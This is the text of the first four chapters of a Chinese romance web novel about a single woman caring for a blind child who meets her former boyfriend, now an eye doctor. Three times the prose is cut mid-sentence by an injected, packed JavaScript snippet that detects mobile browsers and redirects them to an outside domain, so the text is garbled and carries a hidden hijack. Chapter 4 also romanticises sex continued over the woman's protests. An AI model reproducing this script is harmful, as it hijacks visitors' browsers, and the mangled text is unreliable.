《和前任一起被困电梯后》 1. 第 1 章 人被垃圾缠上的时候,很多坏东西都会趁机一拥而上,包括智齿。 断断续续被牙痛折磨了好几个月的叶之一本来以为只有左边的两颗,昨天去医院拍完片子才知道右边还有两颗。 嘴里像是燃放过鞭炮,牙龈肿胀,舌尖麻木,随着炎症加重,耳朵和太阳穴都在隐隐作痛。 脚步声让叶之一回过神,她低头把含在嘴里的冰块吐进洗手池,等水流将冰块完全融化后,转身往外走。 路过茶水间,上司邹城迎面而来。 上午,邹城把她叫去办公室单独通知她晋升没有通过,眼神和语气都毫不掩饰地透露出轻松握住她命运的得意感。 此刻,周围有来往的同事,邹城游刃有余地装出一副惋惜的样子,肯定她的工作产出之后顺便附赠一句冠冕堂皇的安慰:“再接再厉,还有机会。” 叶之一平视对方的目光,从容微笑。 回到工位,她打开抽屉找出消炎药,用温水吞服。 同事吕湘滑动椅子,挪到她身边,轻声问:“心情好点了吗?” “没有,”叶之一闭上眼睛深呼吸,“还是很想抽他。” “干嘛奖励他,”吕湘默认叶之一此次晋升是十拿九稳的事,甚至提前订好餐厅位置准备为她庆祝,“给你提名,又给你打最低分,真不知道他到底是什么病。” 叶之一早就有失败的心理准备,但不甘心。 半年前她和邹城一起出差,邹城在饭局上喝了酒,凌晨给她打电话说他胃病犯了,让她把胃药送到他的房间,她装作无知,在外卖平台买了药,让酒店前台用机器人给他送去,并且在两个月前收到他的晋升暗示之后,依旧拒绝在休息日陪同他去度假村避暑的邀约,所以这个结果并不意外。 这段时间她熬夜准备材料,认真对待答辩,不是对邹城抱有期待,而是寄希望于评委中不会再出现受邹城影响给她打低分的人。 公司平台为视障群体新增了专属板块,属于同类型平台的独一份,她策划的“曙光计划”还处于初期阶段,晋升成功就有更多权限,项目能更顺利地推进。 当然,她也有涨薪的私心。 所有美好设想都在今天上午化为泡影,如果只是回到原点就罢了,然而邹城不仅截断了她的晋升之路,还把“曙光计划”这个项目转交给别人负责,将她边缘化。 刚才对着邹城虚伪假笑,她忍了又忍才没有抢走保洁阿姨用过的抹布狠狠抽在他那张丑脸上。 这个世界如果没有人类畜生就好了。 含冰块只能短暂缓解牙痛,为晋升答辩做准备期间,注意力都在工作上,叶之一尚能忍受,现在尘埃落定,大脑是放空状态,这种痛感就尤为强烈。 到了饭点,她没什么胃口,“我牙痛,你别等我了,先去食堂吃晚饭吧。” 吕湘说:“你近期不能喝酒,下班后我陪你去喝杯果汁?” 叶之一笑了笑,“行啊。” 平时团队氛围很融洽,成年人都清楚言语安慰没什么用,只会惹人伤心,就这样平静地过去最好。 大家照常工作,团队聚餐取消,改为两人小酌。 她们已经很久没有在十点前下班了,晚上八点,吕湘发出信号,叶之一收拾好东西,起身时顺便撕掉一张特别画圈标注过的日历。 明天是小孩儿的五岁生日,她已经订好了蛋糕。 车还没到,吕湘怕自己待会儿酒后忘事,从包里拿出一个盒子递给叶之一,“祝糖糖生日快乐。” 这是一款为特殊儿童设计的画笔,有语音功能。 叶之一收下礼物,抬起一条胳膊搭在吕湘肩上,“我替小孩儿谢谢湘湘小姨。” 吕湘说:“跟我客气什么。” 两人坐上出租车,到了两公里外的一家酒吧,酒的种类少,客人也少,胜在环境好,且清净,五月份吕湘和男朋友闹分手,叶之一就连续一周陪她在这里喝到深夜。 吕湘喜欢喝红酒,叶之一只要了一杯西瓜汁。 确定周围没有脸熟的人,吕湘才开腔:“邹猪太过分了,他为什么总找你的茬?” “因为我‘不识抬举’吧,”叶之一心知肚明,“大环境不好,他觉得我上有老下有小,生活压力摆在眼前,肯定不敢轻易撂挑子走人,吃亏就吃亏了。” 吕湘举起酒杯跟她碰了一下,“请苍天让贱男早日灭绝。” 叶之一笑着喝了口果汁,含住冰块来缓解牙痛。 姐妹俩窝囊地骂了邹城半小时,然后各回各家。 风里已经有了秋天的凉意,叶之一住得远,地铁要坐19站,中途还得换乘两次。 从甜品店取了蛋糕,到家已经将近十一点。 开了门,叶之一轻手轻脚地进屋,把蛋糕放到桌上,扭头往卧室瞧了一眼,米梅女士正巧从房间里出来。 叶之一压着声音问:“糖糖睡了?” 米梅摇头,“在听故事。” 时间足够,叶之一挽起头发准备干活儿,“我去把东西拿到客厅,一起布置啊。” 小孩儿每年生日,叶之一都当成正事来办。 米梅嘴上嫌麻烦,布置得再漂亮有什么用,小瞎子又看不见,但打气球的时候比叶之一都有劲儿,还小声哼着生日歌。 23点58分,母女俩十分默契,米梅起身回屋,叶之一点蜡烛关灯。 两分钟后,米棠小朋友像个正常小孩一样被外婆捂着眼睛从房间里带出来,在倒数的五秒钟里充满期待。 米梅松开手,“生日快乐!” 烛光映照着小女孩的眼睛亮晶晶的,如果她看得见,这应该是她五岁第一眼看到的世界。 “我好开心,”米棠闻到了蓝莓的香味,“是蓝莓蛋糕!” 叶之一打开手机相机记录这一刻,“先吹蜡烛。” 孩子吸了一大口气,脸鼓鼓的,铆足了劲儿吹,第一次连一簇火苗都没有吹灭,第二次倒是吹灭了一根,两个大人也不帮她,五根蜡烛,她吹了八次。 叶之一切好一块蛋糕放进碗里,用手指沾了点奶油,抹到孩子脸上,“小花猫,可以吃了。” “外婆也吃,”米棠摸到勺子,她用勺子吃,碗口深,不会弄得到处都是。 她虽然看不见,但是个活泼的小话痨,连续好几次勺子里都是空的,她也不跟自己生气,边吃边说今天都玩了些什么。 叶之一坐在旁边看着,听着,不自觉地想笑,是短暂抛开职场烦恼发自内心的轻松笑容。 “笑笑姐姐又帮我推秋千呢,可是她上小学了,要写作业,以后不能经常和我玩儿。”米棠有些失落。 小区里的那些朋友们,她最喜欢的就是笑笑姐姐,其实她也想上学,优优弟弟比她小一岁,去年就去幼儿园了。 晚上不能吃太多甜食,米棠吃完碗里的蛋糕,被外婆带去洗脸刷牙。 盲童的世界是无边无际的黑暗,叶之一很早就在考虑米棠的入学问题,去当地的特殊学校咨询过,也在网上联系过其它城市的盲校,都要求学龄儿童,学龄前特教机构倒是有,但几乎不收视障学生。 她加了一个盲童家长群,月初有孩子正常入学了,家长全天陪读。 陪读不是一天两天的事。 叶之一单手托腮,坐着没动。 米梅看她神色恹恹,就知道她忍得难受,“拔了就好了,下周糖糖看眼睛,你拔牙,你俩比一比谁是胆小鬼。” 牙痛牵动神经,脑袋嗡嗡地响,叶之一含糊应道:“这次一定拔。” * 叶之一晋升失败后,邹城找茬的频率低了很多,等到智齿消炎,她请了一天假,去口腔医院拔牙。 拍片子那天医生提醒过她吃完饭再去医院,她想着拔完牙应该吃不了东西,出门前又多吃了半碗面。 南川大学第一医院眼科名声在外,很多外地患者来就医,叶之一提前给米棠挂了号,只是定期复查,米梅了解孩子的情况,她陪着米棠在眼科等号,找位置坐下后就催促叶之一去斜对面的口腔医院。 四颗全长歪了,今天先拔左边的两颗,叶之一被带到一个隔间。 打完麻药,半张脸都木木的,拔牙过程中没有明显的痛感,但有点可怕。 医生拿着锤子钳子在她嘴里装修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171398|180689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,第二次听到牙齿落进盘子发出清脆的声响,她紧握成拳的手才稍稍放松。 结束后,叶之一咬着棉球坐在候诊区等了半小时,取完药,戴着口罩赶去第一医院的眼科。 小孩顺着她的胳膊往上摸,摸到耳朵,手心安抚般贴着她的脸。 叶之一还不能说话,医生叫到了米棠的号,米梅牵着她起身,“你别进去了。” “嗯,”叶之一点头。 坐在旁边的家属一直在哭,抱着孩子跑了无数次医院,把这里当作最后的希望,从医生口中听到的却依然是“暂时治不了”。 听着这个母亲压抑揪心的哭声,叶之一想起那两年她和米梅带着米棠到处看医生的经历,希望刚刚燃起就被绝望浇灭,眼泪拌饭是常有的事。 她其实不常回忆过去。 年轻护士跑到诊室门口说:“蒋医生,刘丽主任请你会诊,时间差不多了。” 尽管病情各有各的复杂性,看诊气氛还是轻松的,有人打趣着问:“帅蒋还是美蒋?” 眼科有两个姓蒋的医生,一男一女,今天都在门诊。 护士说:“帅蒋,蒋煜医生。” “给刘主任回个电话,说我迟到十分钟,给这个孩子看完就过去。” “好嘞。” 麻药还没退,叶之一有种脸已经开始肿的错觉,嘴唇还是麻木的,听觉似乎也迟钝,她觉得自己听错了,甚至在清楚地看到蒋煜挂在白大褂上工牌的名字时都以为只是同名。 视线从那张端正的工作照缓慢往上,迎上对方的目光。 学生时代的蒋煜一身蓬勃的少年气,眉眼生得极好,尤其是右眼的那颗眼下痣,轻笑时蛊惑人心,含着泪又显柔情破碎。 五年时光磨平了她的刺,也在他的眉目间凝了一层寒霜。 叶之一僵在原地。 知名星座博主研究的星盘分析也许真有几分可信度,她这个月运势确实一般,否则怎么会在拔完两颗智齿,稍微一张嘴就感觉有血丝要顺着嘴角流出来的时候,遇见了最不想遇见的人。 时间没有静止,心跳没有停顿,耳边更没有响起BGM。 平静对视几秒钟后,各自移开视线。 手指被孩子抓住,叶之一顺势低下头,她戴着口罩,他没有认出她很正常。 米梅说:“李医生去学校开讲座了,这位蒋医生给糖糖看的。” “谢谢蒋医生,”叶之一抱起米棠,“宝贝,叫叔叔。” 米棠乖巧地说:“谢谢叔叔帮我看眼睛。” “不客气,”蒋煜接住米棠掉落的帽子,重新戴在她头上,“你的眼睛很漂亮,状况也保持得很好,要多吃新鲜蔬菜。” “我爱吃蔬菜,”米棠表达能力强,一点也不扭捏,“下次能不能还是叔叔当我的医生?” “外婆已经用你的小手表加了我的微信好友,下次来复查之前跟我说一声,我看看排班,只要我在,就能给你看。” “嗯!” 刚才那位护士往这边过来了,叶之一轻轻拍了拍米棠的胳膊,孩子也懂事,没再闲聊耽误医生工作。 母亲拎包,女儿抱娃,一家三口去等电梯了。 护士告诉蒋煜不着急,可以慢慢过去,刘主任那边临时出了点状况。 快下班了,护士问点私事:“心外的高明医生国庆结婚,我没接触过他,份子钱送多少比较合适?” 电梯门打开,蒋煜收回目光,“我今晚得加班。” 答非所问,心不在焉。 “上午手术,下午门诊,中午也没有休息,很累吧,”护士递给他一根棒棒糖,笑道,“刚才那个小女孩给你的。” 蒋煜看着手里的棒棒糖,等电梯下去了才开口问:“她说她四岁,系统显示五岁,有没有可能是户口出生日期登记错了?” “以前错得多,现在这种情况很少的,”护士说,“小女孩真是漂亮,她妈妈在卫生间摘口罩的时候,我瞟了一眼,母女俩长得挺像的。” “跟我像吗?” “谁?别人的孩子怎么可能像你?蒋医生,你有结婚成家的想法了?” 2. 第 2 章 米梅拿着叶之一的包,只听着来电铃声响了一遍又一遍,但找不到手机。 叶之一平时日常出行不怎么抱米棠,来医院也是牵着她的手,让她自己走,借机锻炼她,今天有些反常。 米棠没犯困,也没喊累,叶之一抱着她离开医院后又走了一段路。 “是不是走错了呀?”米棠搂住叶之一的脖子。 每次从医院出去,拐两个弯,她就能听到“你爱我,我爱你”的音乐,今天没有。 “哎!走反了,”米梅反应过来,“四只视力正常的眼睛还不如一个看不见的。” 她在包里翻了好几遍都没摸到手机,“手机到底塞哪儿了?” 救护车警笛声呼啸而过,将叶之一飘忽不定的神思拉了回来,她把孩子放到地上,扯了下外套,意思是在她兜里。 “不想说话,吭一声也行啊,你老妈都快六十了!”米梅没好气地把一袋药塞给叶之一,牵着米棠去地铁站。 老太太晕车,能坐地铁绝不选择打车和公交。 三通未接来电都是邹城那个傻逼打来的,叶之一没有回拨,她点开微信查看消息,组里同事知道她请假,能不找她就不找她,如果别的部门同事有紧急工作要对接,吕湘会联系她。 确定没有活不到明天的事,叶之一把手机调成了静音模式。 原路返回,从医院外经过时,她下意识加快步伐。 一如五年前,看似薄情洒脱,实则狼狈逃离。 麻药失效后,知觉慢慢恢复,疼痛感也随之而来。 叶之一吃完消炎药和止痛药,陪着米棠在客厅里听电视,她喜欢各种动画片。 下午顺便去超市买了几支冰棒,贴在耳朵根冰敷的这支快化了,叶之一拆开包装,先给米棠咬了一口。 米棠对新医生很好奇,“那个医生叔叔长什么样?” 脑袋里一团浆糊,叶之一嘴里抿着冰棍,含糊应付:“两只眼睛,一个鼻子,一张嘴……” 米棠躺在沙发上嘻嘻笑,“他叫我宝贝儿,对我特别温柔,我喜欢他,你记住他的名字了吗?” “记住了。” “那我考考你,他姓什么?” 叶之一保持沉默。 孩子以为她忘了,小手摸到她的腿,轻轻拍了拍,“忘记了也没关系,他现在是我的朋友了,我可以用手表跟他聊天。” “叔叔很忙的,”米梅走过来关电视。 这集动画片还没看完,米棠也不闹脾气,“该睡觉喽。” 明天得上班,叶之一回卧室换衣服。 房门和窗户都开着,清凉的晚风吹进来,挂在衣架上的一串风铃随风晃动,串联在一起的贝壳都被打磨成鱼的形状,凉风轻抚而过,贝壳碰撞出灵动的响声,像学校的上课铃声。 她看着风铃的影子,久久寂静。 秋天还真是故人重逢的季节。 冰棍融化的水滴到脚背上,叶之一挪开视线,把剩下的这点冰棍全含进嘴里。 她抬手从柜子里找了一套长袖睡衣,关上门,房间里就静了下来,手机震动声格外明显。 是高中同学宋佳岚发来的消息,叶之一点开语音。 宋佳岚:“我到了,在楼下。” 叶之一打字回复:等我两分钟 米梅在给孩子洗澡,叶之一跟她说了一声,拎着厨房里的垃圾下楼。 车不能开进小区,宋佳岚是散步着走进来的。 路灯亮着,宋佳岚先看叶之一脚上的拖鞋,“这双洞洞鞋是救过你的命吗?你一年四季悍在脚上,说好了啊,我结婚那天,你不许穿。” 叶之一指了下垃圾桶的方向,去扔垃圾。 等她回来,宋佳岚从包里拿出请帖晃了晃,“请帖我可是亲自给你送来了。” “伴娘服的裙摆那么长,谁会注意到我穿什么鞋,”叶之一接过请帖,扭头简单跟宋佳岚的老公高明打声招呼,“高医生。” 高明笑得温和:“你们聊,我去抽根烟。” 叶之一把保鲜盒递给宋佳岚,“我妈卤的牛肉,刚才差点和垃圾一起扔了。” “全扔我嘴里,”宋佳岚笑着说,“拔牙怎么不告诉我?虽然我在休假,给你找一个又温柔又帅气的医生是小事。” 宋佳岚是口腔医院的护士,她和第一医院的高明是朋友介绍认识的,上个月领了证。 叶之一摸摸脸,“我还有两颗呢。” “你难受,我就不烦你了,帮我给阿姨带好。” “拜拜,开车注意安全。” 这一晚,叶之一几乎没怎么睡。 次日早上,她半张脸肿成蜜蜂小狗,看起来比昨天惨。 邹城对她不回电话的态度很不满,确认过她是真说不了几句话,假模假样关心了两句,以一种不容拒绝的上位者姿态把工作甩给她。 吕湘的工位在她后面,两人用微信交流。 吕湘:猪是永远不可能有人性的!!!!!! 叶之一:是的,所以我在写离职申请。 “什么?”吕湘懵了,她滑到叶之一身边,一眼就看到电脑屏幕上的新建文档,“别呀,你走了,他就更得意了。” 叶之一平静地敲键盘:让他得意去吧。 她并非意气用事,也算不上深思熟虑,只是有了更明确的目标,干脆利落断舍离才会有新的开始。 吕湘顿时有种难以言表的失落,“你找好下家了吗?” “还没,”叶之一的上一任直属领导跳槽后想挖她过去,找她聊过,“我先写,等节后再提交。” 吕湘比叶之一晚半年进公司,算一算快三年了,搭子突然离职跟断崖式分手没区别,她看着桌上那盆半死不活的盆栽,想哭。 叶之一说:“我就算不在公司,也还在南川市。” 这哪能一样,离职不仅仅只是一次分别,吕湘都觉得生活没盼头了。 * 吕湘为叶之一辞职的事伤心,吃什么都如同嚼蜡,叶之一也没胃口,连续几天都只能喝点粥。 她的脸消肿了,相当棘手的工作也来了。 “曙光计划”当初是她策划的,目前平台已经邀请到一百多位全国各地从事眼科学术性研究的学者和临床医生开通账号,科普眼科最新研究进展,为视障群体答疑解惑。 邹城看向叶之一,“这位蒋医生半年前从顶级眼科医院Ba Palmer眼科研究所回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171399|180689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国,叶之一,只有你是南川大学毕业的,和他是校友。” 每个人面前都有一份资料,叶之一开会前就看过了,邹城口中的蒋医生就是她在第一医院遇到的蒋煜。 他那样的家庭,平台拿钱和流量当然砸不动他。 负责邀请专家的同事线上联系过他,被拒绝了。 叶之一不想接这个活儿,“校友和朋友是两码事。” “至少比陌生人亲近几分,”邹城说,“他专业技术过硬,而且自带流量,只分享护眼知识的日常社交账号就有三十多万粉丝。” 吕湘看着照片,眉骨高,山根挺,五官立体又深邃,“大帅哥啊。” 邹城笑道:“是啊,抛开专业能力,这张脸的吸粉能力也足够强,所以叶之一你必须拿下他。” 叶之一现在就想交辞职报告。 开完会,同事们前后离开会议室,吕湘放慢脚步,抱着电脑和叶之一并排往外走,“这一个月也不好熬。” “凑合着活吧,”叶之一笑不出来,“我想找个大师算算运势。” “算命大师诈骗八十万被抓的新闻不久前刚上热搜,你下楼朝着寺庙的方向拜一拜得了。” “……” 借着校友的身份去套近乎这件事比还有两颗智齿要拔更让叶之一心烦,她思来想去都觉得不妥,可即使她现在交辞呈也不能立刻走人。 同事整理的资料厚厚一叠,被这个拒绝,就再继续邀请下一个,邹城这么坚定地盯上蒋煜,是因为找不到可以替代他的备选。 叶之一用工作邮箱给蒋煜发送的邮件,在节前收到了回复。 “有可聊性,”吕湘瞟了一眼,“约他见一面呗。” 叶之一摇头,“不妥。” “你比他小一届,不同院系,但同一年毕业,校友之间就算不谈工作,约着喝杯咖啡也无可厚非,他这封邮件明显是有点兴趣。” “线上还有机会,线下百分百没戏。” 吕湘挑了下眉,“有过节?” 叶之一靠着椅子放空大脑,“三言两语讲不清楚。” “都毕业五年了朋友,谈过恋爱的前任都不一定还记得对方。” 当天下午,对方就回复了第二封邮件,约叶之一面谈。 见面地点定在公司和医院之间距离折中的一家咖啡馆,对方忙里抽空,她没有太多时间做心理建设。 或许就像吕湘说得那样,他早忘了那段旧事。 叶之一先到,店里客人不多,她找了个靠窗的位置翻看菜单。 学生时期的蒋煜家境优渥,生来少爷命但没有少爷做派,不怎么挑食,在男生中是少见的甜食爱好者。 叶之一点完饮品,又要了一份流心开心果巴斯克。 等待的过程是漫长的。 一对情侣结账离开,蒋煜踏着夕阳光线走进咖啡馆,耳边刚好响起钢琴曲《the truth that you leave》。 店员带着他往这边走,叶之一站起身。 四目相对瞬间,男人清隽的目光出现了细微裂痕,极为短暂。 叶之一先开口:“蒋煜,好久不见。我是代表平台来跟你聊的,不是我个人。” 3. 第 3 章 他穿着衬衫,气质清冷疏离,应该是下班后脱掉白大褂直接从医院过来。 数年未见,难免有些生疏,更何况两人当时分开并不体面。 叶之一有心理准备,蒋煜却是在毫无预兆的情况下直面重逢时刻。 夕阳光线透过玻璃窗,暖暖地铺在她身上,而他站在阴影里,一明一暗,如同两个世界。 人是会变的,她分辨不出他眼里的情绪是厌恨还是冷漠,在相顾无言的沉默中,她在心里反复提醒自己要有职业素养,当一天和尚撞一天钟,于是在察觉到他转身要走的前一秒,她快步走到对面的位置。 “来都来了,坐一会儿吧,”叶之一拉开一把椅子,“店员妹妹说她们家的巴斯克蛋糕是销冠。” 店员笑了笑,“甜而不腻,99%的好评率,可以试试哦。” 蒋煜勉为其难地留下,但显然耐心不多,坐下时甚至没有调整椅子和餐桌距离让自己更舒适。 叶之一识趣地省略掉问候对方这几年过得怎么样的步骤,“我尽量快点说完重点,不耽误你的时间。” 蒋煜语气平静:“我了解过,商业性太强。” “这个项目确实不是公益性的,在符合规定的前提下,平台不干涉创作者的视频和文章内容,视障板块会有流量扶持,惠及更多盲人,我相信这也是医生的初衷。” “多做几台手术,多看几个病人,更有现实意义。” 叶之一说:“让更多的人知道南川市有这么一家医院,知道你和你的医疗团队……” “没有继续聊下去的必要了,”蒋煜打断她的话。 阳光只从桌角后退至花瓶旁,咖啡没动过,蛋糕更是完完整整。 叶之一深呼吸,“谈正事能不带私人情绪吗?” 蒋煜说:“是你就不能。” 从他走进咖啡馆开始,到拿着车钥匙离开,都不到十分钟。 如果他事先知道是叶之一,根本就不会来,她准备的那些说辞派不上用场。 不欢而散的结局在窗外随风飘落的树叶衬托下有些伤感,叶之一坐了一会儿才去结账,店员告诉她刚才那位先生已经付过钱了。 她还得回公司,蒋煜的车停在路边没动。 驾驶位这一边的车窗完全降下,叶之一逆光望过去,看不清车里的人,只看着他的手臂伸出车窗弹烟灰。 续什么旧,分手后再见的前任连朋友都没得当。 叶之一坐上出租车,街对面的蒋煜也动了,两辆车交错而行,越来越远。 * 国庆只能休三天,叶之一要给宋佳岚当伴娘。 几个大学室友都单着,亲戚之间也没什么来往,叶之一还是第一次当伴娘。 小区里的孩子们聚在一起玩游戏,童真的笑声一阵接一阵,叶之一虽然离得远,但眼睛没有一刻离开过米棠。 米棠模样好,大人们夸她漂亮的时候总是带着怜悯的眼神,这么小就看不见,多可怜啊,小孩不会在玩闹时考虑漫长的未来,她们喜欢谁,就愿意多和谁一起玩,看不见就牵着手。 有人遛狗没牵绳,叶之一拿起米棠的水杯往滑梯的方向走,换了只手接电话,“我等糖糖睡了再过去。” 宋佳岚周围热闹非凡,“有个朋友没喝酒,我让他开车去接你。” “别来回折腾了,我打车就行。” “行吧,糖糖在干嘛呢?” “她在玩滑梯,特开心,跑了一身汗。” “让我宝宝多玩一会儿。” “……” 米棠不小心摔了一跤,很快就被小伙伴扶起来,叶之一挂断电话,看着小孩只揉了揉膝盖,没哭,就不多干涉。 小区里这些儿童设施,米棠摸熟悉了,胆子大,有笑笑姐姐在,她都敢自己往上爬。 笑笑的奶奶招手让叶之一过去坐,“糖糖上学的学校很难找吧,别太着急,我一个牌友的孙子总生病,六岁才上幼儿园。等糖糖再大一点就能去盲校了,以后学学针灸、按摩。女孩嘛,有一技之长,能自食其力就挺好。” 滑梯那边,笑笑在后面保护着,米棠手脚并用爬到高处,姐妹俩贴着坐,一起滑下去。 微风吹动发丝,叶之一的笑意逐渐温柔,“她要当糖果师傅。” 老太太弯腰在小腿拍蚊子,“我家那个还要当大熊猫饲养员呢。” 米棠终于玩累了,被姐姐牵着来找叶之一喝水。 小孩含着吸管,咕嘟咕嘟喝了半瓶水,跟好朋友说完再见,乖乖地捏着叶之一的衣角回家。 她戴的手表是宋佳岚送的,不是儿童款,能听有声故事书。 婚礼现场人多,十分混乱,叶之一就不带她去了,等她睡着,换了双高跟鞋出门。 四点化妆,新娘三点多就得起床,宋佳岚几乎没睡,六点半拍完晨袍后换秀禾服,差不多七点的时候,新郎来接亲,再从新家到酒店,换发型和婚纱。 仪式正式开始之前,叶之一就已经累得小腿发酸。 伴娘礼服是淡紫色的,细节各有不同,叶之一净身高一米六八,两条腿又细又直,高中在学校就是知名腿精,宋佳岚本来给她选了一条侧边开叉秀美腿的拖地长裙,她不要,换了相对低调的款式。 宋佳岚说:“一会儿捧花扔给你,你得接啊。” 另外一个伴娘是宋佳岚的表妹,今年刚上大学。 蹲在地上整理婚纱裙摆的叶之一笑了声:“那你可得扔准了,我别从台上飞出去。” “我的婚礼誓词有点感人,你别偷偷哭就行。” “你结婚,我高兴都来不及。” 事实证明,叶之一又是在嘴硬。 学生时期的好朋友挽着父亲的臂膀一步步走向属于她的未来,还没有说誓词,叶之一在台下就已经泪流满面。 视线模糊,思绪恍惚。 她看着宋佳岚的美丽背影,想起踩着上课铃往教室里奔跑的早晨,在走廊你追我赶的课间,放假后的狂奔和横冲直撞。 校服变成婚纱,她们早已长大。 仪式结束,新人开始敬酒,叶之一就没什么事了。 这一桌是留给伴娘伴郎的,后来加了三个人也没坐满,叶之一哭过,眼线有点糊,她去了趟卫生间,用棉签把眼线全擦掉,回来的时候,左边的空位多了个人。 蒋煜来得晚,高明就把他安排到菜没动过的这一桌。 叶之一因为腿酸没看清是谁就坐下了,等她认出蒋煜,再换位置或者起身走人,就是此地无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171400|180689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 银三百两。 世界的大小是随机的? 南川市总面积也不算小,两个分开五年的人竟然能在一个月内频繁相遇。 两个伴郎都是医生,不在公立医院,合伙在外面开了家口腔医院,做得挺成功的,同一职业,即使不认识,坐在一起也能聊几句。 蒋煜没往这边看,叶之一干脆不打招呼。 新人敬完酒过来,这一桌就满了,本来是一个圆,却无形中在叶之一和蒋煜之间断开。 有人提议共同举杯,叶之一不得不出声提醒:“你压着我的裙子了。” 蒋煜似乎这才察觉到她的存在,站起身后挪动椅子。 高跟鞋磨脚,叶之一没站稳,蒋煜绅士地扶了她一下。 他手掌温热,贴着她的手臂,很快就松开。 “新婚快乐!百年好合!” 酒杯碰撞出喜庆愉悦的声音,新郎高明给大家倒酒,走到蒋煜身边时,眼神在他和叶之一中间打转,“你俩认识?” 叶之一:“认识。” 蒋煜:“不认识。” 两人同时开口,这种场面挺尴尬的。 已有八分醉意的宋佳岚目不转睛地盯着蒋煜,试探着叫了一声:“蒋煜学长?” “恭喜,”蒋煜朝她举杯,“好事成双,我再补一杯。” 高中校草不是每一届都有,宋佳岚看过蒋煜的篮球赛,记忆深刻,她惊喜地感叹:“还真是你,天呐,你毕业之后,我就没再见过你,都十年了。” 高明笑道:“原来是旧相识,不准提前走啊。” 有人轻敲桌子催促:“酒呢?” “来了,”高明拿起分酒器,“别的没有,酒管够。” 高明的发小起哄新郎和新娘喝交杯酒,周围更加热闹,叶之一却清晰地听到蒋煜问她:“不是装不认识吗?” 叶之一轻笑:“到底是谁在装?” 两人之间的距离明显比其他人宽,互相都不看对方。 右边的位置空了,不久前给叶之一递过纸巾擦眼泪的伴郎顺势坐过来,“勇敢的人脸皮更厚,叶小姐,冒昧问一下你有没有男朋友?” “没有男朋友,”叶之一大方回应,停顿几秒钟后甩给对方一个炸弹,“但我有个五岁的孩子。” 男人瞪大眼睛,“孩子……五岁?你那么年轻就生孩子了。” 叶之一笑而不语。 单身带娃的挡箭牌百试不灵,男人讪讪离开后,叶之一去房间把礼服换了下来。 她酒量不差,还是完全清醒的状态,从卫生间出来,拐过转角,就看见了靠在墙边的蒋煜。 他是在等她。 脸和脖子皮肤没变色,看不出他喝了多少,只是眼角有些潮湿泛红。 蒋煜的目光锁在她脸上,试图找出一丝破绽,“别的先不提,关于孩子,你是不是应该给我个解释?” 原来他在桌上一直喝闷酒,是在琢磨这事儿。 叶之一有点想笑。 她没打算给他答案,无视他,从容淡定地继续往前走。 交错的瞬间,手腕被他紧紧攥住。 “分手前最后一晚,我记得每一次我都戴了套,是套有质量问题?还是你始乱终弃无缝衔接?” 4. 第 4 章 两人最后一次,是在2018年春节后。 那一年叶之一不在南川市过节,蒋煜整个寒假都没能见到她,戒指早就买好了,他一直等到她回学校。 还有好几个月才毕业,他那么早就开始求婚,是料到她不会点头同意,他想着,一次不行,他就多求几次。 她去公司实习前一天,蒋煜订好餐厅,在夜景视角绝佳的位置吃完烛光晚餐,看完绚烂的烟花秀,气氛和情感浓度都恰到好处,藏在玫瑰花束里的戒指被服务生推过来,在他犹豫是等她自己发现,还是他利落一点直接问她愿不愿意的时候,她失神地望着窗外,回忆起初次见他的场景。 她说,她第一次注意到他是一个下雨的晚上,她在学校便利店里捡到他的校园卡,追出去叫住他的声音被雨声掩盖。 昏黄路灯光线下,白衣少年跑进雨里,溅起一片星光。 语言很难描述,大概那就是所谓初恋的心动。 犹如一盆凉水浇在头上,他眼底的情愫逐渐冷却,她却没有察觉。 酒精将她的皮肤染上绯色,她坐姿慵懒,陷入回忆的双眸醉意朦胧水光潋滟,丝毫不在意他因为对那次雨夜邂逅一无所知没能给她回应的长久沉默。 蒋煜想起来,高中校园卡确实丢过一次,等他补办完,某一天又意外地发现原卡出现在了失物招领处。 原卡不是他自己弄丢的,是朋友拿去买喝的,回到教室后,人和饮料都在,卡没了。 她认错了人。 最后一簇烟花的火光沉入夜幕,蒋煜没有把戒指拿出来,也没让叶之一回宿舍,就在餐厅楼上的酒店房间,他借着酒劲逞凶,有自尊心和独占欲作祟的成份,更多的是那股无法说出口的疯狂嫉妒。 他不敢让她知道她一眼心动的人不是他,就在床上欺负她。 从深夜到天亮,她酒都醒了,喉咙也哑了,他还在她的身体里。 她气得骂他,他置若罔闻,更深地纠缠着她。 后来他才知道,其实那天她就想分手。 或者更早,在他精心挑选戒指期待见面的那个春节假期,她就在想着怎么甩掉他。 